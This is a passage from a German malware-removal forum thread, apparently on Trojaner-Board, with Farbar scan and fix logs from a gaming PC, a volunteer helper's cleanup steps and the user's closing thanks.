FirewallRules: [{DDCA121D-9668-4F91-AFBA-A17DCD403278}] => (Allow) D:\Steam\steamapps\common\PAYDAY 2\payday2_win32_release.exe
FirewallRules: [TCP Query User{80E694DE-E0AD-4CAC-AFC4-3266DC95F3E4}D:\steam\steamapps\common\newz\thenewz.exe] => (Allow) D:\steam\steamapps\common\newz\thenewz.exe
FirewallRules: [UDP Query User{92EBE539-84E8-4B74-A921-6CD21C6A8A69}D:\steam\steamapps\common\newz\thenewz.exe] => (Allow) D:\steam\steamapps\common\newz\thenewz.exe
FirewallRules: [TCP Query User{D61BC49F-9438-4415-8055-EA090E758756}D:\steam\steamapps\common\stellaris\stellaris.exe] => (Allow) D:\steam\steamapps\common\stellaris\stellaris.exe
FirewallRules: [UDP Query User{69C7E14A-57A3-4A5E-A849-4D05B51304EF}D:\steam\steamapps\common\stellaris\stellaris.exe] => (Allow) D:\steam\steamapps\common\stellaris\stellaris.exe
FirewallRules: [TCP Query User{83EEDB74-B123-419A-9D76-A1BEEA099C7A}D:\steam\steamapps\common\rocketleague\binaries\win32\rocketleague.exe] => (Allow) D:\steam\steamapps\common\rocketleague\binaries\win32\rocketleague.exe
FirewallRules: [UDP Query User{65403E7F-BB50-4CF4-9520-4D8F9A6079B9}D:\steam\steamapps\common\rocketleague\binaries\win32\rocketleague.exe] => (Allow) D:\steam\steamapps\common\rocketleague\binaries\win32\rocketleague.exe
FirewallRules: [{5E93579E-7CCC-44B4-8D00-7EE708915422}] => (Allow) D:\Steam\steamapps\common\Skyrim\SkyrimLauncher.exe
FirewallRules: [{81AA72FA-3488-4A27-8280-E5B6FFB2A524}] => (Allow) D:\Steam\steamapps\common\Skyrim\SkyrimLauncher.exe
FirewallRules: [{B5F803DA-429B-4EAA-B494-4E444CB9AED2}] => (Allow) D:\Steam\steamapps\common\Counter-Strike Global Offensive\csgo.exe
FirewallRules: [{70ECFFD0-EC82-4947-9C5B-71E790EC157A}] => (Allow) D:\Steam\steamapps\common\Counter-Strike Global Offensive\csgo.exe

==================== Wiederherstellungspunkte =========================

03-06-2017 00:50:01 Sprachpaketdeinstallation
04-06-2017 16:52:55 Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215
06-06-2017 17:04:45 Sprachpaketdeinstallation

==================== Fehlerhafte Geräte im Gerätemanager =============


==================== Fehlereinträge in der Ereignisanzeige: =========================

Applikationsfehler:
==================
Error: (06/08/2017 12:05:10 AM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "WmiApRpl" in der DLL "C:\windows\system32\wbem\wmiaprpl.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/08/2017 12:05:10 AM) (Source: Perflib) (EventID: 1023) (User: )
Description: Die erweiterbare Leistungsindikator-DLL rdyboost kann nicht geladen werden. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Windows-Fehlercode.

Error: (06/08/2017 12:05:10 AM) (Source: PerfNet) (EventID: 2004) (User: )
Description: Das Serverdienst-Leistungsobjekt kann nicht geöffnet werden. Die ersten vier Bytes (DWORD) des Datenabschnitts enthalten den Statuscode.

Error: (06/08/2017 12:05:10 AM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "MSDTC" in der DLL "C:\windows\system32\msdtcuiu.DLL" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/08/2017 12:05:10 AM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "Lsa" in der DLL "C:\Windows\System32\Secur32.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/08/2017 12:05:10 AM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "ESENT" in der DLL "C:\windows\system32\esentprf.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/08/2017 12:05:10 AM) (Source: Perflib) (EventID: 1008) (User: )
Description: Die Open-Prozedur für den Dienst "BITS" in der DLL "C:\Windows\System32\bitsperf.dll" war nicht erfolgreich. Die Leistungsdaten für diesen Dienst sind nicht verfügbar. Die ersten vier Bytes (DWORD) des Datenbereichs enthalten den Fehlercode.

Error: (06/08/2017 12:01:53 AM) (Source: IntelDalJhi) (EventID: 4) (User: )
Description: Intel(R) Dynamic Application Loader Host Interface Service initialization failure - the spooler applet is invalid.

Error: (06/08/2017 12:01:53 AM) (Source: IntelDalJhi) (EventID: 4) (User: )
Description: Intel(R) Dynamic Application Loader Host Interface Service initialization failure - the spooler applet is invalid.

Error: (06/07/2017 11:54:03 PM) (Source: SideBySide) (EventID: 78) (User: )
Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Program Files (x86)\ESET\ESET Online Scanner\ESETSmartInstaller.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .
Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.
In Konflikt stehende Komponenten:.
Komponente 1: C:\windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.
Komponente 2: C:\windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.


Systemfehler:
=============
Error: (06/08/2017 02:25:09 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Der Dienst "Steam Client Service" wurde aufgrund folgenden Fehlers nicht gestartet:
Der Dienst antwortete nicht rechtzeitig auf die Start- oder Steuerungsanforderung.

Error: (06/08/2017 02:25:09 PM) (Source: Service Control Manager) (EventID: 7009) (User: )
Description: Das Zeitlimit (60000 ms) wurde beim Verbindungsversuch mit dem Dienst Steam Client Service erreicht.

Error: (06/08/2017 02:24:21 PM) (Source: DCOM) (EventID: 10016) (User: NT-AUTORITÄT)
Description: Durch die Berechtigungseinstellungen für "Anwendungsspezifisch" wird dem Benutzer "NT-AUTORITÄT\Lokaler Dienst" (SID: S-1-5-19) unter der Adresse "LocalHost (unter Verwendung von LRPC)" keine Berechtigung vom Typ "Lokal Aktivierung" für die COM-Serveranwendung mit der CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 und der APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 im Anwendungscontainer "Nicht verfügbar" (SID: Nicht verfügbar) gewährt. Die Sicherheitsberechtigung kann mit dem Verwaltungstool für Komponentendienste geändert werden.

Error: (06/08/2017 02:24:21 PM) (Source: DCOM) (EventID: 10016) (User: NT-AUTORITÄT)
Description: Durch die Berechtigungseinstellungen für "Anwendungsspezifisch" wird dem Benutzer "NT-AUTORITÄT\Lokaler Dienst" (SID: S-1-5-19) unter der Adresse "LocalHost (unter Verwendung von LRPC)" keine Berechtigung vom Typ "Lokal Aktivierung" für die COM-Serveranwendung mit der CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 und der APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 im Anwendungscontainer "Nicht verfügbar" (SID: Nicht verfügbar) gewährt. Die Sicherheitsberechtigung kann mit dem Verwaltungstool für Komponentendienste geändert werden.

Error: (06/08/2017 02:24:07 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Der Dienst "CldFlt" wurde aufgrund folgenden Fehlers nicht gestartet:
Die Anforderung wird nicht unterstützt.

Error: (06/08/2017 02:23:32 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "Intel(R) Management and Security Application Local Management Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (06/08/2017 02:23:32 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "Intel(R) Rapid Storage Technology" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (06/08/2017 02:23:32 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "NVIDIA NetworkService Container" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (06/08/2017 02:23:32 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "Steam Client Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (06/08/2017 02:23:32 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "Intel(R) Dynamic Application Loader Host Interface Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.


CodeIntegrity:
===================================
  Date: 2017-06-04 01:41:01.853
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:41:01.837
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:41:01.823
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:41:01.809
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:41:01.794
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:41:01.779
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:40:56.739
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:40:56.721
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:40:56.702
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.

  Date: 2017-06-04 01:40:56.684
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\dllhost.exe) attempted to load \Device\HarddiskVolume4\Program Files (x86)\Overwolf\0.104.210.0\x64\OWExplorer.dll that did not meet the Microsoft signing level requirements.


==================== Speicherinformationen ===========================

Prozessor: Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
Prozentuale Nutzung des RAM: 19%
Installierter physikalischer RAM: 16270.29 MB
Verfügbarer physikalischer RAM: 13041.27 MB
Summe virtueller Speicher: 18702.29 MB
Verfügbarer virtueller Speicher: 15449.88 MB

==================== Laufwerke ================================

Drive c: (System) (Fixed) (Total:227.51 GB) (Free:180.25 GB) NTFS
Drive d: (Daten) (Fixed) (Total:931.51 GB) (Free:746.9 GB) NTFS

==================== MBR & Partitionstabelle ==================

========================================================
Disk: 0 (Size: 232.9 GB) (Disk ID: 68A7658E)

Partition: GPT.

========================================================
Disk: 1 (Size: 931.5 GB) (Disk ID: 68A76683)

Partition: GPT.

==================== Ende von Addition.txt ============================
fixlog:
Code:
Entferungsergebnis von Farbar Recovery Scan Tool (x64) Version: 07-06-2017 01
durchgeführt von **** (08-06-2017 14:23:31) Run:4
Gestartet von C:\Users\****\Desktop
Geladene Profile: **** (Verfügbare Profile: ****)
Start-Modus: Normal
==============================================

fixlist Inhalt:
*****************

CloseProcesses:
C:\Program Files\Windows Photo Viewer\PF9EN7MZPG8PJRT7XQ49IUO12
EmptyTemp:

*****************

Prozesse erfolgreich geschlossen.
C:\Program Files\Windows Photo Viewer\PF9EN7MZPG8PJRT7XQ49IUO12 => erfolgreich verschoben

=========== EmptyTemp: ==========

BITS transfer queue => 8937472 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 4302631 B
Java, Flash, Steam htmlcache => 138240 B
Windows/system/drivers => 0 B
Edge => 0 B
Chrome => 0 B
Firefox => 27210309 B
Opera => 0 B

Temp, IE cache, history, cookies, recent:
Default => 0 B
Users => 0 B
ProgramData => 0 B
Public => 0 B
systemprofile => 128 B
systemprofile32 => 0 B
LocalService => 1634 B
NetworkService => 0 B
**** => 1855957 B

RecycleBin => 0 B
EmptyTemp: => 40.5 MB temporäre Dateien entfernt.

================================


Das System musste neu gestartet werden.

==== Ende von Fixlog 14:23:34 ====

Googeln geht schonmal wieder, es gibt soweit keine Probleme mehr.
Trotzdem zeigt Malwarebytes immernoch ständig blockierte Domännen von Firefox ausgehend an, wenn der Browser geöffnet ist. Ich weiß nicht, ob das normal ist, bzw. schon immer so war und das nur nie angezeigt wurde.

M-K-D-B 08.06.2017 21:49
Liste der Anhänge anzeigen (Anzahl: 1)
Servus,






Schritt 1
Downloade dir bitte Shortcut Cleaner (by Grinler) auf deinen Desktop.
  • Starte die sc-cleaner.exe mit einem Doppelclick.
  • Bestätige die Meldung Shortcut Cleaner Finished am Ende des Suchlaufs mit Ok.
  • Eine Logdatei wird sich öffnen (sc-cleaner.txt).
  • Poste den Inhalt mit deiner nächsten Antwort.






Schritt 2
  • Deinstalliere über die Systemsteuerung (Bebilderte Anleitung):
    • Mozilla Firefox
  • Starte den Rechner im Anschluss neu auf.





Schritt 3
  • Im Anhang meines Posts findest du die Datei fixlist.txt. Speichere diese Datei im selben Verzeichnis, indem sich die FRST.exe befindet.
  • Ersetze die **** durch deinen richtigen Benutzernamen.
  • Starte die FRST.exe erneut.
  • Klicke auf den Button Entfernen.
  • Der Entfernungsprozess startet, dein Rechner benötigt am Ende einen Neustart.
  • Nach dem Neustart findest du eine Datei fixlog.txt im selben Verzeichnis, in der sich auch die FRST.exe befindet.
  • Poste mir den Inhalt dieser Datei mit deiner nächsten Antwort.






Schritt 4
Installiere Firefox neu.






Schritt 5
  • Starte die FRST.exe erneut. Vergewissere dich, dass vor Addition.txt ein Haken gesetzt ist.
  • Setze einen Haken vor Shortcut.txt und drücke auf Untersuchen.
  • FRST erstellt nun drei Logdateien (FRST.txt, Addition.txt und Shortcut.txt).
  • Poste mir alle drei Logdateien mit deiner nächsten Antwort.







http://www.trojaner-board.de/extra/lesestoff.pngGibt es jetzt noch Probleme mit dem PC oder mit deinen Internet Browsern, z. B. Firefox?







Bitte poste mit deiner nächsten Antwort
  • die Logdatei von ShortcutCleaner,
  • die Logdatei des FRST-Fix,
  • die drei neuen Logdateien von FRST (FRST.txt, Addition.txt und Shortcut.txt),
  • die Beantwortung der gestellten Fragen.

M-K-D-B 12.06.2017 10:46
Fehlende Rückmeldung
Dieses Thema wurde aus den Abos gelöscht. Somit bekomme ich keine Benachrichtigung über neue Antworten.
Profilnachricht inklusive Link zum Thema an mich falls Du denoch weiter machen willst.

Hinweis: Das Verschwinden der Symptome bedeutet nicht, dass Dein Rechner schon sauber ist.

Jeder andere bitte hier klicken und einen eigenen Thread erstellen!

Twix. 14.06.2017 14:17
Hallo,
war jetzt die ganze Zeit nicht am Rechner und die nächsten Tage auch nicht mehr so. Ich habe allerdings schon lange keine Probleme mehr, also bedanke ich mich an dieser Stelle für die schnelle und freundliche Hilfe.


Alle Zeitangaben in WEZ +1. Es ist jetzt 11:31 Uhr.

Copyright ©2000-2025, Trojaner-Board


Search Engine Optimization by vBSEO ©2011, Crawlability, Inc.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20